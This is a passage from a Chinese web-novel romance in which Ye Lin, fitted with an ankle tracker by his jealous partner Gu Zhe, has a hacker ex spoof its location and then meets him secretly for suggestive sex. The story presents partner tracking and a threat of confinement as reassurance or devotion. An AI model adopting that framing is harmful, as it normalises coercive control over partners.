“为什么,就因为上面有你和顾嘉致的回忆?你昨天还口口声声说喜欢我,现在又要留着跟顾嘉致的账号,都是假话吧!” 顾柘的精神脆弱,快被逼疯了。 他卑微到只要注销账号,就能原谅叶临刚刚的精神出轨。 可是叶临连这个都不答应,那就更加坐实他把自己当替身的事情。 所以,那天晚上叶临看着他的脸,是在想着顾嘉致,才说出动人的情话吗? 毕竟,叶临之前在公寓的时候,也靠着他膝盖,误以为是顾嘉致才告白。 顾柘忽然开始后悔,那天假扮顾嘉致去公寓套叶临的话。如果他没有假扮,是不是就不会被当替身? “我这个账号里有很多东西,还有一些朋友,不能注销。这样,我解除情侣标识,再把顾嘉致删了,以后就不玩这个账号。 你新买个账号,我就玩那个号,跟你绑定情侣关系。” “你就是忘不掉顾嘉致,凭什么!” 顾柘的眼眶彻底红了,心脏抽疼得厉害。其实不是脆弱的人,但遇到叶临,就是会被逼成狼狈的样子。 叶临猛然幻视顾嘉致质问自己,他发现这对兄弟在伤心的时候居然如出一辙,让人难以分辨。 “顾柘,你不能这样不讲道理!如果你非要我注销游戏账号,你就得取下跟踪器,不能你占尽便宜,却要我委曲求全。” 你会对顾嘉致讲道理吗? 会愿意满足顾嘉致的要求吗? 顾柘发现自己无论如何都跨越不了这座大山,精疲力尽快要死去。 叶临说喜欢他,有一成真心都不错了。 现在要是取下跟踪器,那他的忧虑会更重,每分每秒都会想叶临在做什么,在跟谁见面。 长此以往,精神肯定会崩溃。 顾柘是个商人,权衡利弊下,还是违背情感,选择理智,答应叶临的要求。 从此叶临只能玩全皮肤的国服号,还跟顾柘绑定情侣关系。顾柘还会时不时上线,定时查岗。 过了两天,这件事算是揭过去。 现在已经是冬末春初,气候转暖,风和日丽,小区里的树都开始抽小小的绿芽。 叶临玩游戏的兴致不高,都是在追电影。他想到跟楚诏的约定,时不时看向厨房。 结果顾柘还在里面忙活,势必要解决海鲜,做出美味的大餐。 做饭很专注,应该不会发现。 叶临换好衣服,轻手轻脚地朝门口走去,就想背着他离开。 “你去哪里?” 顾柘突然从厨房里出来,身上还有围裙,但眼神犀利,像个杀手。 叶临拿起柜子上的安全帽:“骑车出去兜风,外面天气多好,我快被闷坏了。” 顾柘解开围裙:“正好,我跟你一块出去。” 叶临面露难色:“哎呀,你又不会骑车,没意思。我自己去就好了,再说你不去公司上班吗?” 顾柘拿起外套朝着他走过去:“前段时间刚学,可以跟你一起。你不让我跟出去,是想出去做什么坏事吗?” 叶临用力推他,骂道:“被你这个神经病装了跟踪器,我能做什么坏事。” 顾柘笑起来,揽着他的腰往外走:“那好,我们去约会。” 果然,这家伙不好对付。 必须想办法溜到人群密度大的广场,找楚诏解决。 叶临暗暗决定,等到他解开跟踪器,就给顾柘戴绿帽,让这个畜牲尝到报复的痛苦。 60-70 第61章 第61章他们背着顾柘…… 骑车兜风是一种孤狼行为,就要一个人,而不是旁边跟着一个,那样多没劲。 叶临走到机车前面,刚想掏出车钥匙就后悔了,叹息一声。 顾柘见状,也停下来,猜疑他今天出门的真正目的。 叶临抬眼看他,故作漫不经心道:“算了,开车去附近的公园逛逛吧。” 顾柘愣住,已经摸不清叶临的具体想法。 叶临主动牵住他的手:“不是要去约会吗?” 顾柘面对太多次虚情假意,这次听到叶临的提议就会怀疑真实想法。 可是他又很想跟叶临像是正常的情侣一样约会,还是下意识地答应。 车辆驶出停车场后,就朝着附近的公园开去,沿着江而行,迎面吹来的风,温暖潮湿。 这座城市的江水终年不冻,在阳光的照耀下波光粼粼。 白色水鸟偶尔掠过江面,偶尔飞到岸上跟人类要吃的,岸边有很多行人在散步,其中不乏情侣。 顾柘看着此情此景,很想下车跟叶临走几步。 叶临想去广场,现在也只能先迎合他,答应下车散步。 人行道上有兜售面包的商人,小小的广告牌上写着专门用于喂养小鸟。 顾柘买了一包,递给叶临半块,走到江边掰碎,等待水鸟飞过来。 叶临无奈地翻白眼,小声嘀咕:“鸟还是喜欢吃虫子,喂面包不会来的。” 结果下一刻,就有只白羽毛红嘴的鸟朝着他飞过来,站在栏杆上,咬他手里的面包。 “艹!” 叶临大骂一声,鸟也没有被吓走,反而继续啄食他手里的面包,似乎完全不怕人。 顾柘:“看来你很招小动物的喜欢。” 叶临无奈地看着面前的鸟,莫名想起自己小时候在农村养的那些小鸟们。 以前他的宠物就是养这些鸟,各种各样都有,大都是喂虫子吃。 他颇为自豪:“那是当然,我和你说,只有善良赤诚的好人才能招小鸟的喜欢。你看,你这种人就没有鸟跑来找你。” 这时,有只鸟朝着顾柘飞过来,蹲在面前,张嘴要吃的。 顾柘顺手喂给它吃,紧接着又有几只鸟飞过来要吃的,比叶临的数量还多。 按照叶临的理论,那顾柘比他跟善良赤诚,才能收获小动物的喜欢。 叶临没被打,但感觉脸颊疼,不再说话。 顾柘能是什么好人,阴险卑鄙,情绪不稳定,根本没他好吧。 大城市里的小鸟脑子就是不好使,居然不亲近他,跑去会亲近顾柘这种混蛋。 叶临默默地在心里吐槽,低头去看顾柘的鞋:“你的脚伤好了嘛,就出来散步。” 顾柘笑着送走小鸟:“伤口都愈合得差不多了,不影响走路,你问这个做什么?” 叶临顺势提出自己的想法:“我在网上看,辉莉广场有表演秀,就想过去看看。这不是担心你走不了路,所以才问的。” 顾柘沐浴着日光,还喂了小鸟,身心安定,很想跟叶临继续逛下去:“可以啊,现在就去吗?” 叶临点点头,他们就回到车上,开车去辉莉广场。 附近开了一家大型商场,请了一些小有名气的公众人物来表演,吸引客人。 大型的露天舞台已经建好,围满了人,粗略估计都有上千人,人头攒动,摩肩接蹱。 庞大的音响播放流行音乐,提前营造氛围,已经有主持人站在旁边等待灯光到位,就会上台报幕。 顾柘不会来这种场合,大都是去秩序井然,演奏古典乐的音乐会,或者是各种高端宴会。 挤入这种人群里,并不会舒服,感觉热,还很吵,并不适合约会。 可是他偏头去看,发现旁边的叶临盯着舞台上看,眼睛亮亮的,像是过年期待上菜的小孩。 算了,既然是约会,就当是为了叶临忍忍。 好不容易叶临愿意跟他出来玩,心情还很好,不想错过这个时间。 顾柘握紧叶临的手,逼迫自己沉浸在这种吵闹的氛围里。 慢慢的,身边的杂音都消失,只有叶临说话的声音。 路人也消失不见,灯光绚丽的世界里只剩下叶临一个人。 好像也不是很糟糕。 他们牵着手,混在人群里,就像是他想象中的那种纯粹初恋情侣。 舞台上出现一个重量级的嘉宾,人群中爆发出尖叫。大家纷纷躁动起,分成无数条河流朝着舞台靠近。 后面有人超前挤,顾柘连忙握紧叶临,生怕分开。 可是叶临故意往后退,让别人往前进,自己不使劲,就自然而然地营造出他们被人流冲散的情景。 顾柘感觉到手里松开,连忙朝着叶临的方向跑去,可是人太多了,眨眼睛叶临就消失了踪影。 在人群里也不好查看跟踪器,只能奋力地往前挤,找个阴凉处。 与此同时,叶临风一样跑进旁边的商场里,朝着提前约好的厕所靠近。 刚到门口,就被人抬手拦住,紧接着就撞进厚实的胸膛里。 叶临闻到熟悉的气息,抬眼就看到楚诏,捶打两下抱怨:“快点快点,晚了会被发现。” 楚诏拉着他来到角落里的长椅坐下,撩开裤脚,看到跟踪器就明白他说的是实话。 叶临想了想,低头问他:“不用彻底拆掉,就是你能让这个跟踪器紊乱吗?直接拆掉,会被顾柘怀疑的。” 楚诏以为像顾柘这些热心肠的好人,是不会对伴侣用跟踪器这种东西。 叶临之前说自己老是被顾柘欺负,应该是实话了。 按照顾柘的为人,怎么能干出这种不尊重人的事情呢? 叶临的脚踝小巧精致,跟踪器完美贴合,应该提前测量过尺寸,再拿给国外的商家定制。 这种跟踪器只有专门的钥匙才能打开,要想强行拆除就得砸断腿。 好狠!一般这种跟踪器都是对付重刑犯。 叶临只是个狡猾的小骗子,罪不至此吧。 楚诏改造的时候,时不时抬头看叶临,眼睛里流露出怜悯的神情,同时又生出愧疚之感。 叶临还以为他很苦恼,吓得嘴唇发颤:“不会吧,你都不能解开的话,那我岂不是完蛋了,这辈子都没有自由了。” 楚诏来的时候本来想讽刺他活该,但是现在心疼叶临,说话的语气轻柔:“只要是电子产品,没有什么我解不开的。” 叶临松了一口气,由衷地夸奖:“那你好棒,是我见过最厉害的黑客了!” 楚诏听得出来这句话是真心的,梦回打网游被甜甜圈夸赞的那段时光,心跳加速,也有点感到不好意思。 他动作很快,没多久就把跟踪器改造好,还把一个软件发给叶临,细心地讲解操作方法。 “这个软件里可以设置三种状态,跑步,开车,散步。你可以随时随地更改自己的定位,顾柘的手机显示的就是你更改的状态,不会发现你的真实位置。” “对对对,我就是想要这个效果,你真厉害!” “小事而已,另外这个软件可以在手机里隐藏起来。除非他找比我厉害的技术人员检查你手机,不然很难发现。” “哇,我太爱你了,真好!” 叶临主动抱住楚诏,情绪兴奋,恨不得把这个技术天才供起来。 楚诏的耳尖红得厉害,下意识地回抱住他,居然埋首去嗅。 是熟悉的气息,但混合着木质香气,估计是跟顾柘待久了。 那天叶临发的照片浮现在脑海里,整个人都开始燥热,快要支持不住。 叶临松开他,发现脸颊泛红,故意凑上去亲了一下,笑起来:“楚诏,谢谢你。我为以前骗你的事道歉,真对不起啊,希望你能原谅我。” 虽然只是蜻蜓点水一般的吻,但是有无数的微弱电流窜过,浑身酥麻。 楚诏微微瞪大眼睛,大脑宕机一秒,遵循本能地追上去吻。 叶临配合地仰头任他索取,还故意靠进怀里,做出小鸟依人的模样,声音轻轻柔柔的。 “你,你之前不是还说我是顾柘的男朋友,要跟我老死不相往来吗?” “我” 楚诏紧紧搂住他,呼吸灼热,情动难耐。 其实没有说过这种话,但之前确实是想跟叶临断掉关系,现在再次动摇。 叶临抬手轻轻地抓他的手臂,继续抱怨。 “我和你说,顾柘每天都欺负我,从来不会像你这样对我温柔。刚刚你亲得我好舒服,还想要。” “你!” 楚诏惊讶之余,看见叶临水亮晶莹的嘴唇,漂亮的杏仁眼,忍不住低头去亲。 谁能想到,长相如此清纯可爱的男生,会说出这种话。魅惑力太强了,难以招架住。 叶临小声哼哼唧唧,就像是小猫被撸顺毛了,非常高兴。 楚诏的整块心脏完全软化,像是奶油,恨不得全流出来,将叶临污染。 “唔顾柘就在这附近找我,下,下次再亲吧,我要走了。” “顾柘也在?” 楚诏如遭雷击,良心备受煎熬,连忙松开叶临。 同时,他又感觉到巨大的失落,不舍得放叶临离开。 其实他和叶临这样是不对的,顾柘再坏,也是他的恩人,而叶临是恩人的男朋友,怎么能做出这种事情呢? 叶临舔了舔嘴,又抱了他一下,才舍得朝着外面走,还冲他挥挥手道别。 楚诏的脚没动,但是心已经跟着叶临飞走,失魂落魄的,像是失去半条命。 他边唾弃自己,边想念叶临,不自主地跟出去。 离开商场后,叶临跑到一处阴凉处坐着休息,修改行为,引导顾柘过来。 顾柘找到叶临的时候,发现他拿着一瓶饮料在喝,正在刷小游戏。 跟叶临失散的时候,犹如丢失了无价之宝,他惊慌失措,叶临却镇定自若。 开口的时候音量已经提起来:“为什么不跟我联系!” 叶临抬头看他,表情无辜,完全不像是刚偷完腥回来:“刚刚人那么多,我也是好不容易才挤出来的。本来想跟你打电话,但想到你有跟踪器,就不用白费功夫。” 说完,他还语气委屈的补充一句:“顾柘,正常情侣没有跟踪器,才会互相打电话联系的。” 我们不是正常情侣,所以没必要联系。 这是在指责顾柘私自按照跟踪器的行为,站在道德制高点发力。 顾柘在跟踪器上不占理,听到他这样说,再大的火气都消了,只好把叶临抱进怀里。 “下次失散至少发消息报个平安吧,我会担心你。” “好,不喜欢这个表演,我们回家吧。” 叶临刚说完,就注意到顾柘背后站着楚诏。 那个蠢货,居然站在路中间,像个木头人一样,生怕不被人发现。 叶临的心脏陡然提起来,真不想楚诏跟顾柘再当面对峙一次。 上次他机缘巧合劝说成功才没被折磨,不代表现在就能说服顾柘。 靠,楚诏快走啊! “感觉你很紧张,是我后面有什么吗?”顾柘的感知力很强,察觉到叶临的肌肉紧绷,似乎是在害怕什么,连忙扭头往后看。 第62章 第62章顾柘不在,速来 还好,顾柘转头之前,楚诏就已经走进旁边的建筑里躲起来,没有出现在视野里。 顾柘致看到迎面走来几个打扮时髦的年轻男生,看样子应该是标准的男模打扮,要去附近的商k上班,质问道;“你刚刚在看他们?” 叶临略显心虚地偏头,小声嘟囔:“怎么了嘛,他们长得还挺好看。” 顾柘本来还怀疑是别人,看到叶临这个表现,立即捏住下巴,掰正过来对准自己,语气不悦:“你喜欢这种货色?” 叶临讨好地地亲他:“只喜欢你行了吧。” 顾柘还是忘不掉之前在会所看到叶临跟男模的经历,气血上涌,凑到耳边低声警告:“如果你再敢跑出去找男人,我就把你关起来,哪也不许去。” 气氛忽然变得窒息,外人都被顾柘阴暗极端的气场隔绝。 叶临主动抱住他,轻声撒娇:“我不去找你,不要老是怀疑我。” 顾柘熟知他的性格,此时没有拆穿他的谎言,只是拉起叶临朝着车走过去。 回去的路上,双方都没说话。 车内空调开到了暖和的程度,但体感还是感觉降到了冰点。 叶临知道顾柘在生气,但就是不想哄。 像顾柘这种多疑的混蛋,哄就是白费力气,不如冷战到底。 反正已经把矛盾从楚诏和定位器,转移到那些年轻男生身上,其他无所谓。 情侣之间冷战,爱多的一方总是会率先低头。而无爱者,只会处于不败之地。 冷战了一晚上,双方都没说话,就算路过也只当是陌生人。 叶临醒来没有要求顾柘为他准备早餐,默默地点了外卖,然后再跑去门口就拿,忽略掉餐桌前的顾柘。 餐桌上像往常一样,摆放着两个人的餐具和食物。顾柘已经坐好,就等叶临入座。 但是叶临拿了外卖往房间走,把他当成空气。 顾柘忍不住出声:“别拿外卖去房间吃,不卫生!” 叶临哼了一声,没有搭理,步伐还越发地轻快,成心要气死顾柘。 顾柘拿他没办法,只好主动给台阶:“昨天的事情明明是你的错,你还这样,不觉得过分吗?” 叶临扭头看顾柘,露出脚踝处的跟踪器,进行道歉谴责:“哦,你怎么好意思跟我讲道理!明明知道我的实时位置,还不断地怀疑我,是你有病好吧! 如果你不想拥有正常的恋爱,那你就继续这样猜忌,控制吧。反正昨天过后,我对你确实没多少好感了。” 顾柘想到那天晚上的告白,还有自己的规划,连忙站起来,跑过去抓住叶临的手腕。 叶临被抓住手腕,明明有力气挣开,但是故意没动,等着下文。 因为他清楚情绪酝酿到位,顾柘应该会被他拿捏,乖乖地道歉。 顾柘的语气低落,是真怕把叶临对自己的一点好感败坏掉,只能道歉:“昨天的事情,是我的错误,对不起。” 叶临用力戳心口:“你知道就好,我要是想找别人,早就去找了好吧,谁会陪你在这个在鬼地方冷战,还是看在那点喜欢的份上!” 顾柘无奈:“但你以前的行为,确实会让我多疑,所以跟踪器算是定心丸。” 叶临就算心虚,也能演得平和自然,大声抱怨:“我知道跟踪器能给你安全感,所以才没有强行逼你拆除,看我多会体谅你,你就不知道体谅我! 而且你自己都说了,过去的事情就过去了!我还没跟你计较,你以前贬低我,威胁我的事情,你怎么好意思计较我跟那些男人!” 顾柘接受了这个逻辑,还感受到爱人的纵容,于是将叶临抱进怀里,靠着肩膀亲了侧脸,郑重道:“那我们以后不要提以前,只提未来。” 叶临满意地点头,主动跟他十指相扣:“那冷战结束,我们和好了。” 顾柘忍不住把他抱起来,朝着卧室走去。 “操!顾柘你个混蛋,我还没吃早饭,你不能乱来!” “好吧,等你吃完饭。” “不要脸!” 他们吵吵闹闹的,倒真像是一对热恋的情侣,但事实只是其中一方沉溺无法自拔,另外一方假意制造幻境。 过了几天是梵星的重要时期,居家办公的顾柘不得不回到公司,忙着出差。 离开的时候是早上,晨雾还没消散,世界白茫茫的一片,高楼大厦隐匿其中。 空气中有寒冷的潮意,马上要步入春天。 叶临提前定了闹钟,醒来的时候就看到顾柘在旁边对着全身镜打领带。 他为了消除顾柘的疑心,困得眼皮打架都爬起来,走到顾柘背后,抱上去靠着肩膀,轻声问:“你要出*差几天啊?” 声音听起来黏糊糊的,鼻音很重,透过镜子看,眼皮都也没睁开,困得像是树懒。 顾柘心脏柔软得快要塌陷,回身抱住他,轻声回答:“大概一周,今天起这么早?” 叶临轻声哼了一下,嘟囔着:“昨天听说你要出差,提前定闹钟跟你送别的。快说,是不是被我感动哭了!” 他邀功似地说出自己的心意,远比温柔细语要来得真实。 顾柘见过叶临哄骗梁文乐的情景,是低姿态的百依百顺,到自己这里就是理直气壮地要求夸赞。 果然是真心爱他。 叶临平时爱打游戏,都是很晚才睡觉。为了送他,居然会定闹钟提早起来,嘴上没说舍不得,但心里肯定是惦记他。 能够拥有叶临真实的爱,是件多么幸福的事情。 顾柘配合地笑起来,摸摸脸颊:“很感动,我会早点回来的。” 叶临眯起眼睛看顾柘,骂道:“才不要你这种混蛋早点回来,最好十天半个月都不见人影,心才不烦!” 假意掺在真话里,就会不容易被察觉。对付梁文乐要装单纯无辜,对付顾柘就得傲娇嘴硬。 反正不同狗不同牵法。 顾柘果然上当,还以为他在傲娇,感觉周围都冒着粉红的泡泡,情不自禁地去吻。 叶临被亲得迷迷糊糊,快要站不稳,往后倒去,刚好被柔软的床接住。 顾柘昨天晚上就做好了要出差的准备,可是到了今天就不想离开,恨不得永远都能住在这个房子里,跟叶临亲密。 他按住叶临的手,贪恋地扫过每一处,像是扫描仪要记住所有。 叶临推着他的脑袋,骂道:“你是狗啊,烦死了!” 顾柘亲了他的眉心,由衷道:“不想工作,想一直呆在这里。” 叶临嫌弃地骂他:“真没出息,好男儿志在四方!你要好好工作,发展梵星,我才会高看你。要是你堕落宅家,我就鄙视你,不爱你了!” 这句话就是典型的双标,叶临可以每天宅家无所事事,但顾柘就得每天工作养家。 正常人都会反驳,可是顾柘被骂也高兴,还觉得叶临说到有道理。没办法,谁让他喜欢叶临。 只要能被叶临需要,就会有安全感,如果叶临不需要他,那就危险了。 顾柘补充完能量,站起来重新调整领带位置,准备出门。 到了玄关处,握住门把手还是会留恋地往后看。 结果就听到哒哒哒的声音,是穿着睡衣,头发乱糟糟的叶临着急跑出来。 叶临扑进他的怀里,埋头闷闷地回答:“也不是担心你,我毕竟是梵星的老板,还是要祝你一路顺风,万事如意。” 顾柘心花怒放,用力抱紧他。 阳光似乎刺破云雾,窗外的树木疯狂长叶,冒出云霞似的花朵,春居然已经来临。 顾柘低头吻了柔软的发旋,保证道:“我会把事情处理好,安心。” 叶临抬起头看他,眼睛亮得像是糖霜,让人想舔:“那你早点去吧,别晚了航班。” 顾柘指着青黑的眼下叮嘱:“快回去睡觉,黑眼圈都出来了。” 叶临大骂:“都怪你!” 说完就把顾柘推出去,迅速关上门催促他快走。 这看起来就像是撒娇发脾气,顾柘盯着门板看了一会儿,才离开。 叶临确实太困了,几乎是飘着回卧室睡觉。 他为了演戏,可谓是豁出了性命。 这一觉就到下午,阳光都晒到腰。 叶临醒来,先问顾柘近况,得到回复,就转去给楚诏发消息。 【你今天想不想见我?】 【他去出差,你有时间出来见面了?】 【懒得出去,你直接来顾柘家里吧,我给你开门。】 【对了,你来的时候记得避开监控头哦,反正我感觉你应该能做到。】 【这样不好,出来见面吧。】 【有什么不好的,你上次都亲我了,不会还在意顾柘是你的恩人吧。】 叶临打字的时候,脑海里已经浮现出楚诏害羞无奈的表情,所以说逗小c男就是好玩。 【有很多地方可以见面,顾柘家里不安全,容易被发现。】 【那我不管,我今天懒得出门,你想见我的话就得来顾柘这里。】 【你身体又不舒服了?】 【对啊,好疼好疼,我给你看!】 叶临再次拍照过去,还是高清特写。其实根本不疼,只是故意引诱对方过来。 果然,没多久楚诏就动心了,给他回消息。 【我现在就过来。】 【对了,20分钟后我会叫门口的两个保镖去买东西,大概需要半个小时。你计算好时间进来,别被发现了。】 【好】 楚诏握紧手机,感觉自己要去做一件违背良心的坏事,心情忐忑不安。 以前他听朋友骂过小三,他也唾弃小三,可是没想到自己竟然会做以前最讨厌的人。 叶临骗过他的感情,顾柘是恩人。于情于理,不应该过去的。 可是他只要想到那天偷来的吻,就会心跳加速,情不自禁地往顾柘的小区靠近。 楚诏坐车的时候看到车窗照的人脸:打扮精致,头发仔细梳理过,还挑选了修身得体的衣服,神情满怀期待,完全不像是自己。 以前的他,只是个喜欢穿格子衫的技术宅,满眼都是代码,现在却全是叶临。 真堕落啊! 楚诏恨不得扇几巴掌,让自己清醒过来,但他知道,哪怕扇肿了脸,今天也还是会去见叶临。 甚至巴不得能够学会瞬间移动,顾柘一离开,就出现在叶临身边,省去很多麻烦。 门口的两个保镖先后被支走,都是去办需要花费半个小时以上的事情。 叶临边刷手机边吃饭,算着楚诏到来的时间。 门铃居然提前了二十分钟响起,好快啊! 叶临害怕是顾柘临时忘记文件才折返,小心翼翼地走过去,通过猫眼确定是楚诏,才敢开门。 楚诏穿着浅蓝色牛仔外套,内搭白色高领毛衣,夹了额前的过长碎发,修了眉毛才过来。 完全不像是沉闷的技术宅,而是帅气的男大学生。 进门后,他局促不安,都没开口说话,像是个初入职场的小白。 叶临关上门,嗤笑一声,故意去拍他的胸口:“哇,你为了跟我见面,还特意打扮了。” 楚诏抬头看他,耳尖微红,着急辩解:“我这是,怕被人认出来,做了伪装。” 叶临点点头,没有拆穿,朝着客厅走去:“你吃饭了吗,一起呗。” 楚诏吃过,但还是走过去在旁边坐下来,动作僵硬地吃饭。 上回他蹲叶临,有正当理由,大胆果断。今天是做坏事,就心虚胆小。 叶临看着他愧疚害怕的模样就想笑,故意抬脚重现那天的情景,支着下巴看他:“那天你可害死我了,你一走,顾柘就不停折磨我,差点要了半条命。” 楚诏紧张地并拢,抬眼看他,想到那些青紫痕迹,怜惜地问:“那你好了吗?” 明明那天晚上是叶临主动勾引,过错在叶临。可是坐在这里重现情景,他也会有罪恶感,只能顺着说下去。 叶临继续,神情得意:“好了,我哭着撒娇叫老公,他心疼我,就原谅我。” 楚诏听过他叫老公,心神荡漾,情不自禁地附和:“那确实会原谅你的。” 叶临知道他喜欢这个词,故意软着声音撒娇:“老公,抱我去卧室休息好不好?” 楚诏早就被撩出火花,但考虑到顾柘,还是纠正:“跟你谈恋爱的是顾柘,不是我,你不能这样叫我。” 叶临翻了白眼讥讽道:“谈个狗屁恋爱,我根本不喜欢他,是他单方面强。制。爱。” 楚诏又心疼他:“你不能跟他分手吗?” 叶临无奈叹气:“他是个伪君子,表面正直,实际上是个变。态,我根本不敢提分手,只能等他对我失去兴趣。还好你今天愿意来,不然我可怜死了。” 楚诏想到顾家的背景,明白叶临的难处:“我可以帮你。” 叶临笑起来:“你能来这里就已经是在帮我忙了,我不想你跟顾柘反目成仇,那样太为难你了。 而且,顾柘现在把控着梵星,我还得靠他一段时间,后面再想别的办法吧。” 楚诏沉默了,他无法理解顾柘安装跟踪器的行为,更无法理解叶临,但耿直的内心还是会驱使他想帮忙。 叶临轻轻的,就像是碾药材,低声道:“楚诏,你今天过来,不会是想单纯跟我聊天吧?” 楚诏脸颊完全涨红,彻底憋不住,只好把他抱起来。 叶临搂着他的腰,主动去吻,轻声夸奖:“我还是喜欢你,温柔体贴,比顾柘好。” 楚诏竟然感到了一丝欣喜,他搞不懂自己什么想法,难道还从这种畸形的关系里找到了乐趣吗? 他鄙视自己下贱,不知廉耻,但还是忍不住跟叶临纠缠。 叶临感觉到他的变化,心里很有成就感。 怪不得,人都说引诱单纯正直的人堕落,才最有趣。 现在他就是在楚诏身上找到了这种乐趣,饶有兴致地引导这个纯情正直的男生沦陷。 呼吸灼热,就像是水开了冒出的水蒸气,潮湿闷热。 清明前后的笋子最为鲜美,慢慢地剥去层层叠叠的笋衣,就会看到白生生的脆嫩笋肉,尝一口就感觉到甘甜,流连忘返。 “你回去以后,有没有想我啊?”空调开足,叶临没感觉到冷,抬手去摸泛红的耳尖,轻声问。 “想,想过。”楚诏的声音发颤,小心翼翼的,像是在擦拭珠宝,面面俱到。但他的巾帕是炽热潮湿,面积也有限,长条状,非常柔软。 “想着我什么?”叶临故意继续问,他想让这个楚诏剖开自己的胸膛,把所有呈现。 “想着你”楚诏说不出那些词汇,只能用实际行动回应,“这样,还有这样” 叶临毫无预兆地被攻击,差点就要投降,只能哼唧两声。 楚诏太久没有跟叶临接触,此刻就像是多年回故乡,重探故地之心越发地强烈,势必要回访所有位置。 “艹,你,你小心点,别留下痕迹,会被发现的。” “我会的。” 其实对这种要求感到心里不满,但道德上确实不占理,只能听话。 楚诏看着怀里的叶临,忍不住会想,顾柘在过什么样的幸福生活呢,他竟然嫉妒。 明明叶临是个骗子,还是个情场高手,是他最为鄙夷的那类男生,但就是羡慕顾柘可以长时间地拥有叶临。 他肯定得病了! 楚诏得出这个结论,却不是要去医院看病,而是贪恋叶临的温香,试图饮鸩止渴。 被子出现了很多褶皱,全是抓出来的。 叶临慢慢地呼吸,注意到旁边的枕头,故意说道:“我和你说,顾柘三天前就是在你这个位置折磨我,害得我的膝盖都磨红了!” 听到这句话的瞬间就是慌张和羞愧,明明顾柘帮过他,不亚于救过他的命,不应该这样对叶临的。 可是几秒过后,又燃起了胜负欲。 楚诏想要攀比,把叶临抱起来,贴心地询问需求,势必要比顾柘温柔体贴。 叶临满意地靠着他的肩膀哼哼唧唧,非常享受这种伺候型的过程,感觉自己就像是无上的君王,所有人都得顺着他。 楚诏察觉到他满意,就会有成就感,变着法地提高技巧。 这就好比大型犬,平时乖巧听话,偶尔会发疯乱叫。优点大于缺点,还算能接受。 叶临默默地在心里给楚诏做了点评,打算把他排到沈邵的后面,位列第三,第一是顾嘉致。 第四是混蛋顾柘,倒数当然是梁文乐。 这样排名是客观合理的,顾嘉致主要是胜在默契高,彼此配合得很好,断层第一。 沈邵服务意识最强,技术过硬,完全可以第二。 楚诏太青涩了,有服务意识,凭借优越的硬件,也能第三。 顾柘经常性发疯,不知道服务,但技术厉害,所以第四。 梁文乐就不用提了,各方面都垃圾,当然倒数。 傍晚时分,夕阳将被子染成橙色,地面有成堆纸巾团,像是成熟烂掉的橘子。 叶临像只吃饱饭的猫,躺在楚诏的怀里休息,慵懒地打哈欠。 老实说,男同这种事情最开始无法接受,可是尝到快乐,就会习惯,甚至是痴迷。 今天被楚诏伺候好了,他的精神都得到了放松,如在云端,舒服死了。 上一次有这种感觉,都是沈邵还没生病的时候了,好遥远。 楚诏抱着叶临,胸膛被填满了,满足且幸福,不断地低头吻,享受惬意的时光。 叶临注意到对面的柜子,指着几件顾柘不爱穿的衣服:“顾柘要出差一周,你就在这里待个四五天吧。你们身高相当,刚好可以穿他的衣服。” 偷偷潜进公寓里,跟叶临欢好,本来就是在昧着良心做错事。现在还要穿上正主的衣服,过于恶劣了。 楚诏拒绝:“不要,我还是去外面买吧。” 叶临像是面对傻子:“这几天你不出门才安全呢,我又不能天天叫保镖买东西,那样很容易被发现的!反正顾柘的衣服多,你穿了也不容易被发现。 大不了,我过两天假装勤快,帮他洗衣服,跟他说洗坏了直接丢掉。他不会起疑,反而会觉得我超爱他,估计要感动哭了。” 他在骗人这方面就是天赋异禀,想借口就是一秒的事情。 楚诏像是回到被甜甜圈欺骗的日子,已经能够想到顾柘发现真相后的绝望崩溃:“你对每个男人都这样吗,谎言信手拈来,随时随地扮演深情?” 叶临细数几秒,诚实道:“嗯有两个不是。” 楚诏清楚自己是被骗的那一类,嫉妒不需要被骗的两个男人。 不问是谁,还能找理由哄自己。 但他就是要自取其辱地问出来:“都是谁啊?” “第一个是顾嘉致,虽然他脑子出了点问题,但我还是觉得他是我这辈子最好的兄弟! 真的,我叶临混社会十几年,跟很多人称兄道弟,从来没有见过像顾嘉致这样仗义国干的男人。你看过三国演义吧,我以前就觉得可以跟他结拜成异姓兄弟。” “哦,你说刘关张三结义,不求同年同月生,但求同年同月死。” “对对对,这就是男人之间的浪漫!唉,他的亲哥是个贱种,我亲弟也是个畜牲。我们同病相怜,希望来世做亲兄弟吧,我肯定好好对他。” 叶临想到原本世界里被父母偏爱的弟弟,心如针扎,恨海难填。正是因为这样,他才能对顾嘉致感同身受,发自内心地珍惜。 楚诏还以为他说叶家几个婚生子,疑惑叶临明明是私生子,怎么好意思怨怼别人。 但由此听出来,顾嘉致只是被他当成好兄弟,没有爱情,这也不是很厉害嘛。 “那第二个呢?” “第二个是沈邵。其实我一开始很讨厌他,感觉他死装死装的,后面又很欣赏他的能力。 他这个人管理公司很厉害的,一开始梵星就是个老破小,后面都被他管成大房子。 而且他的厨艺超好,我这辈子都没见过谁做饭有他好吃,天杀的,简直是仙宫才有的! 还有,他特别懂事,知道跟你相处的时候该说些什么,该做些什么,不矫情麻烦,情绪非常稳定。 总之就是,能力优秀,温柔贤惠。对外能管公司,对内能照顾小家。他要是女的,我肯定娶他! 婚后只要不给我戴绿帽,我保证把他当成掌上明珠一样宠,这么好的老婆,几百世修来的福气才能遇到啊。 生孩子的话,他愿意生几个就生几个,我的钱都给他买包买首饰,还愿意天天陪他去逛街,去美容店。” 叶临说着,脑子里自动帮沈邵加上秀丽长发,变成那种有清冷文雅气质的高知美女。他们不仅有成功的事业,还有了温馨小家,彼此陪伴,直到白头老去。 楚诏听完,酸得像是生吃几十斤酸李,忍不住阴阳怪气:“你这么喜欢他啊,都想跟他结婚,组建家庭了?” 叶临眼眸低垂,犹豫不决:“可惜不是女的,唉。” “那如果沈邵说要跟你结婚,你会拒绝吗?” “男同性恋不能领结婚证。” “可以的,你自己上网搜!” 叶临点开搜索页面,发现这个世界男人和男人居然能结婚,惊讶之余又想到沈邵要求跟他结婚的那一刻。 “真的能啊!” “对啊,所以你要不要跟他结婚?” “我” 结婚后,沈邵跟他的相处方式应该不会变,除了没有孩子这个缺点,好像都是优点? 叶临并没有立刻拒绝,而是陷入沉思。 楚诏看到他的神情就明白沈邵的可怕,突然很想跟这位传闻中情敌见面。 北边的春来得晚,地面上的积雪还没融化完。草地,树上都有沉重雪块,但已经在酝酿着翠绿的春意。 医生看着面前的病人换下病服,叮嘱道:“病人的身体没有大碍,出院后,家属要让病人多接触以前的事物,才能快加快恢复记忆。” 顾父顾母连连点头,感谢医生。 